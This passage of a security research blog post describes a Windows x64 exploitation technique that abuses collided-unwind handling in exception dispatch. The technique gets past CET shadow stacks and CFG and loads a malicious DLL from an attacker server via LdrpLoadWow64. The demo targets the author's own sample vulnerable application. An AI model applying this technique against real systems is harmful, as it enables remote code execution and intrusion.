<li>This could be used to trigger a use-after-free or double-free scenario.</li>
</ul>
</li>
</ol>
<!--kg-card-end: markdown--><p>Without any leaks, we would be limited to partial return address overwrites. Fortunately, we can influence <code>Rsp</code> such that we can overwrite any address on the stack rather than only our direct parent. However, the primary method of controlling what values are used in unwind operations would be to overwrite the return address of a function we control specific local variables in. This is because we cannot overwrite the local variables without knowing the complete return address.</p><h3 id="does-this-work-with-cet-shadow-stacks">Does This Work with CET / Shadow Stacks?</h3><p>One of the considerable benefits of these attacks is that we only hit a return instruction relevant to shadow stacks when our desired exception handler returns. Otherwise, the unwinding process blindly trusts addresses from the stack we control.</p><p>Still, the return instruction in the exception handler could pose a problem; what can we do to ensure we don&apos;t crash at that point?</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/WgORSPV.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>First, whenever a new function on your call stack is enumerated by the unwinding process, a return address is &quot;popped&quot; from the shadow stack. This is important because when you unwind to a function <code>N</code> return addresses away, you need to get rid of those <code>N</code> return addresses on the shadow stack to ensure that the next <code>ret</code> instruction will match what&apos;s on the shadow stack.</p><p>This is a useful &quot;feature&quot; that we can abuse because we can cause corruption in the state of an application by returning to any function in the call stack we want to. By chaining together fake exception handlers, we can &quot;pop&quot; the shadow stack until we reach a desired parent function and use a jump target&apos;s <code>ret</code> instruction to return to it early.</p><p>CET does not verify that your return address is at the same stack offset where it was initially placed. Therefore, as long as the value matches what&apos;s on the shadow stack, it does not matter where on the stack the return address is retrieved from.</p><figure class="kg-card kg-embed-card"><blockquote class="twitter-tweet"><p lang="en" dir="ltr">In those CET times: It&apos;s possible to return in unwinding to any address in the SSP, causing a &quot;type confusion&quot; between stack frames ;)<br>I really like the different variants of this concept <a href="https://t.co/I44p8uVAl2">https://t.co/I44p8uVAl2</a>:) Type confusions are on fire! (stack frames, objc for PAC bypass) <a href="https://t.co/aZPcmb6XQb">https://t.co/aZPcmb6XQb</a></p>&#x2014; Saar Amar (@AmarSaar) <a href="https://twitter.com/AmarSaar/status/1219711378409361409?ref_src=twsrc%5Etfw">January 21, 2020</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</figure><p>This design weakness has been known for at least two years, however. Another security researcher, <a href="https://twitter.com/amarsaar">Saar Amar</a>, highlighted how an attacker could cause a &quot;type confusion&quot; condition even with CET by unwinding to a desired function already on the call stack.</p><p>For example, imagine a parent function responsible for initializing a structure. By returning to a function above it mid-way during the initialization process, that parent may end up using an incomplete structure.</p><p>If you have a leak of the module location, you can predict the legitimate return address on the shadow stack (after the popping occurs) and put it on the normal stack where the following return address will be retrieved from. If you don&apos;t know the location of the legitimate function and can avoid overflowing it on the stack, you can create a fake call stack that will increment <code>Rsp</code> right up to that legitimate address.</p><h1 id="blast-from-the-past">Blast from the Past</h1><h2 id="background-2">Background</h2><p><a href="http://www.nynaeve.net/?p=107">Part 5</a> of Ken Johnson&apos;s series on 64-bit exception handling discussed how certain edge cases known as &quot;collided unwinds&quot; were addressed. To give a high-level overview of what collided unwinds are, here is a good quote from Ken&apos;s blog:</p><blockquote>A collided unwind occurs when an unwind handler initiates a secondary unwind operation in the context of an unwind notification callback. In other words, a collided unwind is what occurs when, in the process of a stack unwind, one of the call frames changes the target of an unwind. This has several implications and requirements in order to operate as one might expect:<br>1. Some unwind handlers that were on the original unwind path might no longer be called, depending on the new unwind target.<br>2. The current unwind call stack leading into RtlUnwindEx will need to be interrupted.<br>3. The new unwind operation should pick up where the old unwind operation left off. That is, the new unwind operation shouldn&apos;t start unwinding the exception handler stack; instead, it must unwind the original stack, starting from the call frame after the unwind handler which initiated the new unwind operation.</blockquote><p>An even more straightforward way of thinking about a collided unwind is that it occurs when an unwind handler calls <code>RtlUnwind</code> itself. To solve this problem, Ken describes Microsoft&apos;s &quot;elegant&quot; solution: any call to an unwind handler is executed through a helper function, <code>RtlpExecuteHandlerForUnwind</code>.</p><pre><code class="language-c">typedef struct _DISPATCHER_CONTEXT {
    ULONG64 ControlPc;
    ULONG64 ImageBase;
    PRUNTIME_FUNCTION FunctionEntry;
    ULONG64 EstablisherFrame;
    ULONG64 TargetIp;
    PCONTEXT ContextRecord;
    PEXCEPTION_ROUTINE LanguageHandler;
    PVOID HandlerData;
    struct _UNWIND_HISTORY_TABLE *HistoryTable;
    ULONG ScopeIndex;
    ULONG Fill0;
} DISPATCHER_CONTEXT, *PDISPATCHER_CONTEXT;
</code></pre><p>When <code>RtlpExecuteHandlerForUnwind</code> is called by <code>RtlUnwindEx</code>, <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/XCPTMISC.ASM#L243">it saves a pointer</a> to the current <code>DISPATCHER_CONTEXT</code> structure on the stack. As we can see above, this structure contains the entire internal state of <code>RtlUnwindEx</code>.</p><p>In an earlier section, we dumped the exception handlers for functions in ntdll, where the <code>__GSHandlerCheck*</code> variants were discovered. One of the other exception handlers I skipped over was <code>RtlpUnwindHandler</code>. This exception handler is actually used to protect &#xA0;<code>RtlpExecuteHandlerForUnwind</code>.</p><p>This is where the &quot;elegant&quot; solution kicks in. When an unwind handler calls <code>RtlUnwindEx</code> and the unwinding process occurs again, <code>RtlUnwindEx</code> calls the unwind handler of <code>RtlpExecuteHandlerForUnwind</code>, which is <code>RtlpUnwindHandler</code>. What does this handler do? <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/XCPTMISC.ASM#L172">It overwrites</a> the current <code>DISPATCHER_CONTEXT</code> structure with the saved <code>DISPATCHER_CONTEXT</code> structure and returns <code>ExceptionCollidedUnwind</code>. When an unwind handler returns this result, <code>RtlUnwindEx</code> will use the overwritten values <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L770">to replace its internal unwinding state</a>. This allows the unwinding process to resume from where it was left off without any fuss.</p><h2 id="an-overpowered-primitive">An Overpowered Primitive</h2><blockquote>... there is <strong>not much we can do</strong> in <code>RtlDispatchException</code> alone other than trigger a &quot;desirable&quot; C-specific exception handler (jump target) for unwinding ...</blockquote><p>When I was covering what we could do with control over the stack in <code>RtlDispatchException</code>, remember how I said, &quot;not much&quot;?</p><p>I lied.</p><p>While reading the leaked source for <code>RtlDispatchException</code>, I noticed that it too <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L372">contained code</a> to handle the <code>ExceptionCollidedUnwind</code> result returned by exception handlers. This may have been added to cover the unlikely edge case where an exception occurs, <code>RtlUnwindEx</code> is called, an unwind handler is called, and another exception occurs.</p><p>This is where I got a wild idea- as an attacker with a stack overflow vulnerability, we can modify the call stack to whatever we want, right? If we knew the location of ntdll, <strong>couldn&apos;t we make it seem like the function we are causing an exception in was <em>called by</em> <code>RtlpExecuteHandlerForUnwind</code>?</strong></p><p>If this was true, knowing that <code>RtlpUnwindHandler</code> grabs the <code>DISPATCHER_CONTEXT</code> structure pointer from the stack, if we had any memory location in the process that was attacker-controlled, couldn&apos;t we overwrite the entire internal state of <code>RtlDispatchException</code> with our own values?</p><pre><code class="language-c">        //
        // The dispostion is collided unwind.
        //
        // A collided unwind occurs when an exception dispatch
        // encounters a previous call to an unwind handler. In
        // this case the previous unwound frames must be skipped.
        //
    case ExceptionCollidedUnwind:
        ControlPc = DispatcherContext.ControlPc;
        ImageBase = DispatcherContext.ImageBase;
        FunctionEntry = DispatcherContext.FunctionEntry;
        EstablisherFrame = DispatcherContext.EstablisherFrame;
        RtlpCopyContext(&amp;ContextRecord1,
        DispatcherContext.ContextRecord);
		
        RtlVirtualUnwind(UNW_FLAG_EHANDLER,
                         ImageBase,
                         ControlPc,
                         FunctionEntry,
                         ContextRecord1,
                         &amp;HandlerData,
                         &amp;EstablisherFrame,
                         NULL);

        ContextRecord1.Rip = ControlPc;
        ExceptionRoutine = DispatcherContext.LanguageHandler;
        HandlerData = DispatcherContext.HandlerData;
        HistoryTable = DispatcherContext.HistoryTable;
        ScopeIndex = DispatcherContext.ScopeIndex;
        Repeat = TRUE;
        break;
</code></pre><p>Knowing the location of ntdll <em>and</em> some memory we control certainly isn&apos;t trivial, but the impact is astronomical. For example, in the (slightly corrected) WRK excerpt above, when the <code>ExceptionCollidedUnwind</code> result is returned, the overwritten <code>DispatcherContext</code> variable is used to update the current <code>Rip</code>, image base, runtime function entry, <code>CONTEXT</code> record, the <code>UNWIND_HISTORY_TABLE</code>, <strong>and even a pointer that specifies an ExceptionRoutine to immediately call</strong>. All of this is controlled by an attacker with a stack overflow vulnerability.</p><p>See the <code>Repeat</code> variable getting set to <code>TRUE</code>? What happens is right after the <code>break</code>, the while loop for calling an exception handler repeats <em>without</em> calling <code>RtlLookupFunctionEntry</code>, and the attacker-controlled <code>ExceptionRoutine</code> is passed to <code>RtlpExecuteHandlerForException</code>, whose the second argument (<code>RDX</code>/<code>EstablisherFrame</code>) is entirely controlled by the attacker as well.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/eGGwsH6.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>To add insult to injury, the call inside of <code>RtlpExecuteHandlerForException</code> to the attacker-controlled <code>ExceptionRoutine</code> is done <em>without</em> a Control Flow Guard (or xFG) check, meaning we can call into the middle of any function or any unaligned address.</p><p>I can&apos;t help but draw parallels to the x86 SEH hijacking attacks from ~15+ years ago, where an attacker could overflow the stack and replace the exception handler that would be called. With this primitive, we can achieve the same result with even more control.</p><p>To give you an idea of what&apos;s possible with the variables we can modify:</p><!--kg-card-begin: markdown--><ol>
<li>We can call any function anywhere we want (via <code>LanguageHandler</code>) with the second argument (<code>RDX</code>/<code>EstablisherFrame</code>) completely controlled.</li>
<li>When <code>RtlVirtualUnwind</code> is called following the <code>ExceptionCollidedUnwind</code> result, we have full control over the <code>ControlPc</code>, <code>ImageBase</code>, <code>RUNTIME_FUNCTION</code> structure, and <code>UNWIND_INFO</code> structure it uses.
<ul>
<li>This means we can execute any unwind operations we want. We&apos;ll talk more about how this can be abused in practice later.</li>
</ul>
</li>
<li>If we meet certain conditions (discussed later) and specify an exception handler that returns <code>EXCEPTION_CONTINUE_SEARCH</code>, we can continuously hijack the dispatching/unwinding process since we control the <code>UNWIND_HISTORY_TABLE</code> structure.
<ul>
<li>The history table is used as a cache to store previously retrieved <code>RUNTIME_FUNCTION</code> entries. By creating a malicious history table, we can specify our own <code>RUNTIME_FUNCTION</code> structure for any function we know the location of.</li>
</ul>
</li>
<li>If we set <code>LanguageHandler</code> to the C-specific exception handler in ntdll, we can define a custom <code>SCOPE_TABLE</code> structure to call any ntdll functions we want <em>consecutively</em> (as long as the functions return 0).</li>
</ol>
<!--kg-card-end: markdown--><p>Enough about what we <em>can</em> do; let&apos;s go through a practical example!</p><h2 id="planning-our-attack">Planning Our Attack</h2><p>To leverage this primitive in a stack overflow attack, we need to meet two major requirements:</p><ol><li>We need to know the location of ntdll.</li><li>We need to know the location of attacker-controlled memory. This memory can be anywhere in the process.</li></ol><p>Although we have significant control over the unwinding process, we still have many quirks and challenges to overcome. To best describe these limitations, I&apos;ll explain what occurs in <code>RtlDispatchException</code> when the <code>ExceptionCollidedUnwind</code> result is returned.</p><!--kg-card-begin: markdown--><ol>
<li>The <code>ControlPc</code>, <code>ImageBase</code>, <code>FunctionEntry</code>, and <code>ContextRecord</code> variables in <code>RtlDispatchException</code> are updated to attacker-controlled values.
<ul>
<li>The only variable we haven&apos;t explicitly covered is <code>ControlPc</code>, which represents the current <code>Rip</code> value. During each step in the unwinding process, this is updated to the return address from the call stack.</li>
</ul>
</li>
<li><code>RtlVirtualUnwind</code> is called. As an attacker, we have complete control over the runtime function and unwind info structures used for the virtual unwind.
<ul>
<li>This means we can specify any unwind operations we want. Note that the <code>Rsp</code> register in our context record must be a valid pointer no matter what- although it doesn&apos;t need to point at the stack (i.e. it could point at our controlled memory).</li>
<li>These unwind operations are incredibly powerful. For example, we can easily chain arbitrary reads by setting <code>Rsp</code> to some offset inside of ntdll and leveraging <code>UWOP_PUSH_NONVOL</code> to read an address from <code>Rsp</code>, <code>UWOP_ALLOC_*</code> to increment <code>Rsp</code> by any offset, etc.</li>
<li>At the end of this virtual unwind, our <code>Rsp</code> and <code>Rip</code> registers in the context record are updated. By default, <code>Rip</code> is read by dereferencing <code>Rsp</code>, and <code>Rsp</code> is incremented depending on the unwind operations (not true in cases like <code>UWOP_PUSH_MACHFRAME</code>).</li>
<li>If <code>Rip</code> matches the current <code>ControlPc</code>, the unwinding process is halted because it is assumed the stack is corrupted.</li>
</ul>
</li>
<li>Once the virtual unwind is complete, the <code>EstablisherFrame</code>, <code>HandlerData</code>, <code>ExceptionRoutine</code>, and <code>HistoryTable</code> are all updated to attacker-controlled values.</li>
<li>The exception handler loop continues and the function we specified in <code>LanguageHandler</code> is called. The first argument (<code>RCX</code>) is a pointer to the exception record, the second argument (<code>RDX</code>) is the establisher frame we control entirely, the third argument (<code>R8</code>) is a pointer to the context record, and the fourth argument (<code>R9</code>) is a pointer to the dispatcher context structure.</li>
<li>The return value of this function is checked again.
<ul>
<li>If the result is <code>ExceptionContinueExecution</code>, execution continues where the exception occurred.</li>
<li>If the result is <code>ExceptionContinueSearch</code>, the search for an exception handler continues.</li>
<li>If the result is <code>ExceptionNestedException</code>, then the exception flags are updated and the search continues.</li>
<li>If the result is <code>ExceptionCollidedUnwind</code>, we start over from step 1.</li>
<li>Any other result leads to a non-continuable exception. This effectively means that any exception routine you specify must return a value between 1-2 to ensure the search is continued.</li>
</ul>
</li>
<li>If the search is continued, our first major challenge occurs. The <code>Rsp</code> record is validated to be inside the low/high limit of the stack.
<ul>
<li>I&apos;ll talk about a complex way we can pass this check in a later section.</li>
</ul>
</li>
<li><code>ControlPc</code> is updated to <code>Rip</code>, and the unwind loop continues assuming <code>Rsp</code> is in the stack&apos;s bounds.</li>
<li>At the beginning of the loop, <code>ControlPc</code> and our controlled <code>HistoryTable</code> are passed to <code>RtlLookupFunctionEntry</code> to find a corresponding runtime function entry.
<ul>
<li>Since we control the history table, if we can predict the value of <code>ControlPc</code>, we can define our own <code>ImageBase</code> and <code>RUNTIME_FUNCTION</code> pointers.</li>
</ul>
</li>
<li><code>RtlVirtualUnwind</code> is called again and practically the same logic we mentioned in step 2 occurs. The significant differences worth mentioning are:
<ul>
<li>The <code>EstablisherFrame</code> is updated to the value of <code>Rsp</code>. If the <code>FrameRegister</code> field in the unwind info structure is populated, it is instead set to the value of that register (minus <code>0x10</code> * the <code>FrameOffset</code> field).</li>
<li>If the <code>UNW_FLAG_EHANDLER</code> flag is set, the <code>ExceptionRoutine</code> is calculated by adding the <code>ExceptionHandler</code> field from the unwind info structure to the <code>ImageBase</code>.</li>
</ul>
</li>
<li>After this virtual unwind is where our second major challenge occurs. <code>EstablisherFrame</code> is validated to be within the bounds of the stack.
<ul>
<li>During the first loop, <code>Rsp</code> must have already been a value that points at the stack; hence <code>EstablisherFrame</code> would likely be updated to that valid stack pointer.</li>
<li>The problem is that we no longer have arbitrary control over the second argument to the exception handler. Any <code>RDX</code> value we specify must be within the stack&apos;s low/high limits (also stored on the stack).</li>
</ul>
</li>
<li>Assuming an exception handler was defined, the logic from step 3 starts over again.</li>
</ol>
<!--kg-card-end: markdown--><p>As a reminder, you can read the source code for all of this logic <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L114">in the leaked WRK</a>.</p><p>The most significant barrier to simply looping over and over again, calling a different exception handler of our choice each time, is that after the initial <code>ExceptionCollidedUnwind</code> result is handled, we quickly lose control over the second argument <em>and</em> we need to somehow guarantee that <code>Rsp</code> is within the bounds of the stack.</p><p>Of course, this is easy if the attacker-controlled memory you know the location of is the stack. But requiring the location of attacker-controlled memory <strong>and</strong> requiring that it is on the stack is lame. This is quite a powerful primitive; we should be able to perform this attack regardless of whether our controlled memory is in the stack, the heap, or anywhere else.</p><p>Initially, I spent ~2 weeks developing a complex exploit chain to execute arbitrary shellcode without needing to step outside the bounds of the unwinding process. It worked with CET and CFG in strict mode but had some stability issues. What I realized was during this process, I had discovered several quite powerful primitives such that if our goal is only to execute code remotely, there were much simpler (and more stable) methods of gaining arbitrary code execution. Let&apos;s discuss using some of these primitives to create a stable proof-of-concept to execute arbitrary code.</p><h3 id="allowing-functions-to-return-zero">Allowing Functions to Return Zero</h3><p>A frustrating challenge I faced while writing an exploit was that any exception handler I called had to return 1 (<code>ExceptionContinueSearch</code>) or 2 (<code>ExceptionNestedException</code>). Triggering 3 (<code>ExceptionCollidedUnwind</code>) would enter an infinite loop, as it would keep calling the function repeatedly (since the dispatcher context would remain the same).</p><pre><code class="language-c++">                } else {
                    ExceptionFilter =
                        (PEXCEPTION_FILTER)(ScopeTable-&gt;ScopeRecord[Index].HandlerAddress + ImageBase);
                    Value = (ExceptionFilter)(&amp;ExceptionPointers, EstablisherFrame);
                }
                //
                // If the return value is less than zero, then dismiss the
                // exception. Otherwise, if the value is greater than zero,
                // then unwind to the target exception handler. Otherwise,
                // continue the search for an exception filter.
                //
                if (Value &lt; 0) {
                    return ExceptionContinueExecution;
                } else if (Value &gt; 0) {
	                // RtlUnwind is called.
	                ...
	            }
		        // Loop continues.
	...
	// Eventually, ExceptionContinueSearch is returned.
	return ExceptionContinueSearch;
</code></pre><p>While reading the code for the <code>__C_specific_handler</code>, which is included with the MSVCRT (<code>C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\crt\src\amd64\chandler.c</code>), I discovered that if the exception filter it called returned zero, it will continue enumerating the scope table.</p><p>This meant we could call arbitrary functions by setting our exception handler to <code>__C_specific_handler</code> and crafting a malicious scope table. As long as the return value of our fake exception filter was zero, our search would continue without issue. Given that many functions in the ntdll module return an <code>NTSTATUS</code> value and <code>STATUS_SUCCESS</code> is zero, this significantly increased the number of functions we could call.</p><h3 id="execute-multiple-exception-handlers-consecutively">Execute Multiple Exception Handlers Consecutively</h3><p>The following primitive was found quickly after the last- the ability to execute as many functions as I wanted consecutively inside a module I knew the location of. If you think about the <code>RtlDispatchException</code> unwinding process, it may seem as if to call multiple functions, we&apos;d need to perform an entire unwind loop to specify a new exception routine pointer.</p><pre><code class="language-c">typedef struct _SCOPE_TABLE_AMD64 {
    DWORD Count;
    struct {
        DWORD BeginAddress;
        DWORD EndAddress;
        DWORD HandlerAddress;
        DWORD JumpTarget;
    } ScopeRecord[1];
} SCOPE_TABLE_AMD64, *PSCOPE_TABLE_AMD64;
</code></pre><p>With a malicious scope table structure, we can define multiple scope records that <strong>overlap</strong>. Nothing stops the <code>BeginAddress</code>/<code>EndAddress</code> fields from specifying the same scope. As long as our exception filters (handler address) return zero, the table is entirely enumerated, and we can call functions consecutively. One relevant limitation is that we are stuck with the same second argument (<code>RDX</code>) value across all consecutive function calls.</p><h3 id="what-functions-do-we-call">What Functions Do We Call?</h3><p>The collided unwind primitive is powerful sure, but what functions can we call to get remote code execution only controlling the second argument?</p><p>Even though we don&apos;t control the other arguments entirely, they&apos;re worth calling out. For example, the fact that the first argument (<code>RCX</code>) will be a consistent pointer to some writable memory region can still be helpful.</p><p>I discovered most of the valuable functions we can abuse for this attack by spending hours reviewing published headers for ntdll. For example, two great resources I used were the <a href="https://github.com/processhacker/phnt">Process Hacker Native API header collection</a> and the <a href="https://github.com/reactos">source code of ReactOS</a>. What I did with these headers was use the return type and SAL annotations, which specify whether arguments are written to or are used as input, to find potentially &quot;desirable&quot; functions.</p><p>For example, if a function&apos;s return type was <code>NTSTATUS</code>, a zero return value was guaranteed as long as the function succeeded. SAL annotations let me search for functions that met specific criteria like &quot;find functions where the second argument I control is written to&quot;.</p><p>It&apos;s not worth going through every function I found potentially valuable, as there were quite a lot. So instead, I&apos;ll focus on those we leverage in our minimal PoC.</p><h4 id="rtlinitunicodestringex">RtlInitUnicodeStringEx</h4><pre><code class="language-c">NTSTATUS
NTAPI
RtlInitUnicodeStringEx(
    _Out_ PUNICODE_STRING DestinationString,
    _In_opt_z_ PCWSTR SourceString
    );
</code></pre><p>The first function I want to call out is <code>RtlInitUnicodeStringEx</code>, which takes our completely controlled second argument and initializes a <code>UNICODE_STRING</code> structure in the buffer specified by the first argument.</p><p>Remember how I said the fact that <code>RCX</code> was a writable location is still helpful? In the context of the <code>__C_specific_handler</code>, the first argument is an <code>EXCEPTION_POINTERS</code> structure which contains our exception and context record pointers. Fortunately, it doesn&apos;t matter what is stored initially, as <code>RtlInitUnicodeStringEx</code> doesn&apos;t care.</p><p>I couldn&apos;t use <code>RtlInitUnicodeString</code> because it leverages the <code>RAX</code> register (return value) as a &quot;counter&quot; representing the number of characters written, and we needed a return value of zero. <code>RtlInitUnicodeStringEx</code>, on the other hand, wraps this call and returns zero as long as our source string is not larger than <code>SHRT_MAX</code>.</p><p>This function lets us initialize <code>RCX</code> to point to a <code>UNICODE_STRING</code> containing whatever value we want. Many functions inside ntdll accept a <code>UNICODE_STRING</code> pointer; hence this was useful for expanding the accessible attack surface.</p><h4 id="ldrloaddll">LdrLoadDll</h4><p>What do we do with a <code>UNICODE_STRING</code>? One interesting attack idea I had was, &quot;if all we want to do is execute arbitrary code remotely, does it really need to be shellcode?&quot;. For example, what&apos;s stopping us from loading a malicious DLL from our remote server?</p><pre><code class="language-c">NTSTATUS
NTAPI
LdrpLoadDll(
    PUNICODE_STRING DllName,
    PVOID DllPathState,
    ULONG Flags,
    PLDR_MODULE* ModuleOut
    );
</code></pre><p><code>LdrLoadDll</code> wouldn&apos;t work directly as the <code>DllPath</code> needed to be a <code>PWSTR</code>, but all <code>LdrLoadDll</code> did was wrap a call to <code>LdrpLoadDll</code>, which <strong>did</strong> accept a <code>UNICODE_STRING</code> as its first argument.</p><p>Although this initially seemed like a good candidate, I ran into several issues during testing. So, to make my life easier, I created a test program that would emulate the conditions inside <code>__C_specific_handler</code>. For example, I called <code>RtlInitUnicodeStringEx</code> on a heap buffer containing random data, and I passed two arbitrary heap pointers in the <code>Flags</code> and <code>ModuleOut</code> arguments.</p><p><code>Flags</code> being a pointer complicated things as different heap addresses would trigger different logic inside <code>LdrpLoadDll</code>. I had similar issues with the <code>DllPathState</code> containing a wide string.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/Xh9tDLX.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>Looking for alternatives, I used IDA Pro to check for cross-references to <code>LdrpLoadDll</code>. To my surprise, I found a function named <code>LdrpLoadWow64</code> which took a single <code>UNICODE_STRING</code> argument. At a high level, the function:</p><ol><li>Copies the <code>UNICODE_STRING</code> argument into a stack buffer.</li><li>Appends <code>wow64.dll</code> to this stack buffer.</li><li>Uses <code>LdrpInitializeDllPath</code> on the stack buffer, which &quot;normalizes&quot; a given path for <code>LdrpLoadDll</code>.</li><li>Calls <code>LdrpLoadDll</code> to load the DLL from the finalized path.</li></ol><p>There are a few more operations this function does after the DLL is loaded, such as trying to parse certain exports, but that doesn&apos;t matter if we can get our arbitrary DLL loaded.</p><p>This appeared to be a great candidate because it took care of all the strange arguments <code>LdrpLoadDll</code> took, which we had little control over. If we could initialize <code>RCX</code> with a path to a malicious directory, <code>LdrpLoadWow64</code> would append <code>wow64.dll</code> to it and load a DLL from that path!</p><h2 id="preparing-the-demo">Preparing the Demo</h2><p>For the demo, I developed a sample &quot;vulnerable application&quot; compiled using Visual Studio&apos;s Clang/LLVM build tools. This example program has a small network protocol designed to fulfill our requirements for the attack:</p><ol><li>The application allows a remote caller to request a leak of the <code>ntdll</code> base address and a pointer to a heap region allocated with a caller-specified size.</li><li>The application allows a remote caller to provide an arbitrary buffer to copy into the previously allocated heap buffer.</li><li>The application allows a remote caller to provide an arbitrary buffer to unsafely copy into a stack variable and then trigger an access violation exception.</li></ol><p>Obviously, the requirements for this attack will be more complex in the real world. The method by which you meet the requirements will change depending on the context of the application you are exploiting. Therefore, in our sample PoC, these primitives are accessible through a simple interface, allowing us to focus on the unwinding process.</p><p>To perform the attack, I created a small Python script requiring a target IP and several offsets of functions inside your target&apos;s ntdll. Note that this exploit code was written to work against any target application, not just the one we developed for this demo. Of course, you would need to implement code to fulfill the requirements for the attack, but the nice part of the <code>LdrpLoadWow64</code> methodology is that it is stable across different versions of Windows.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/4VHldOn.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>To up the stakes, I configured my target&apos;s &quot;Exploit Protection&quot; settings to require strict control flow guard and strict hardware-enforced stack protection. Given that our exploit never needs to return to a value that isn&apos;t on the shadow stack, this shouldn&apos;t cause issues, but it&apos;s always better to confirm these assumptions.</p><h2 id="demo">Demo</h2><p>We start the demo by running the vulnerable application on our victim machine. To show you the attack step-by-step, I&apos;m using IDA Pro remote debugging with WinDbg. After setting relevant breakpoints, we can start the exploit script on our remote attacker machine.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/CoorhBH.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>The PoC requests a leak for <code>ntdll</code> and some heap memory, copies the malicious heap buffer to the target, and triggers the overflow.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/TpfsGVN.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>On our victim side, we can see an exception occurring inside the <code>ProcessPacket</code> function after the overflow buffer is overwritten as intended.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/gumgVGd.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>At this point, we can verify that hardware-enforced stack protection is enabled by running the WinDbg command <code>rM 8002</code>. This is a trick I learned from the <a href="https://security.googleblog.com/2021/05/enabling-hardware-enforced-stack.html">Google Security blog</a> discussing CET to see the shadow stack pointer (<code>ssp</code>) and whether CET is enabled (<code>cetumsr</code>). Since <code>cetumsr</code> is <code>1</code>, we know that our previous exploit protection option took effect.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/rjKdwBo.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>Once we pass this exception to the target, our corrupted call stack leads <code>RtlDispatchException</code> to call <code>RtlpUnwindHandler</code>, which is the exception handler for <code>RtlpExecuteHandlerForUnwind</code>. This is where the dispatcher context structure in <code>RtlDispatchException</code> is overwritten with our malicious dispatcher context pointer stored on the stack.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/F6p1uMH.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/w2GWmqG.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>Next, <code>__C_specific_handler</code> calls <code>RtlInitUnicodeStringEx</code>, which initializes the <code>ExceptionPointers</code> variable to a <code>UNICODE_STRING</code> pointing at the wide string we specified in our <code>EstablisherFrame</code>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/0pEkQvx.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/pD3y8hH.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>The last step of the attack is a call to <code>LdrpLoadWow64</code>. By dumping the unicode string in <code>RCX</code> right before the call to <code>LdrpLoadDll</code>, we can see that it has been initialized to our initial directory path + <code>wow64.dll</code>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/T5NxTMo.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/VfcTqKn.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>Once we continue, we see the <code>wow64.dll</code> file being requested from our attacker server and a message box generated by our malicious DLL, completing the attack!</p><h2 id="what-else-can-we-do-with-this-attack">What Else Can We Do With This Attack?</h2><p>Although we&apos;ve gone through a minimal proof-of-concept, much more is possible with the <code>CollidedUnwind</code> primitive. Here are some highlights:</p><!--kg-card-begin: markdown--><ol>
<li>Using <code>__C_specific_handler</code>, we can trigger a call to <code>RtlUnwind</code> while controlling the function&apos;s internal state. <code>RtlUnwind</code> is more potent than <code>RtlDispatchException</code> as the changes you make to the context record will be reflected once execution continues at the unwind target.</li>
<li>In <code>RtlDispatchException</code>, a significant barrier to continuing the virtual unwind loop is that your <code>Rsp</code> must be within the stack&apos;s bounds. There are quite a few ways to get around this issue.
<ul>
<li>One method was to use unwind operations to read the <code>TlsExpansionBitmap</code> in ntdll, which contained a pointer to the PEB. From here, we can go up to the TEB of our process and copy the <code>StackBase</code> or <code>StackLimit</code> fields into <code>Rsp</code>, allowing us to pass the bounds check.</li>
</ul>
</li>
<li>Another challenge I faced with complex variants was the unwind info structure in <code>RUNTIME_FUNCTION</code> is located by adding a 32-bit address to the image base we controlled. For us to call arbitrary exception handlers, the image base would need to be the location of ntdll. For us to entirely control the unwind info structure, the image base would need to be the base of our heap.
<ul>
<li>An interesting middle ground was that I could use any unwind info structure in ntdll to call any exception handler. This worked by subtracting the exception handler offset I didn&apos;t control from the target exception handler I wanted to call. This new value would be my image base, and I would specify an unwind info offset in my runtime function to account for this difference (i.e. real unwind info location minus my fake image base).</li>
</ul>
</li>
</ol>
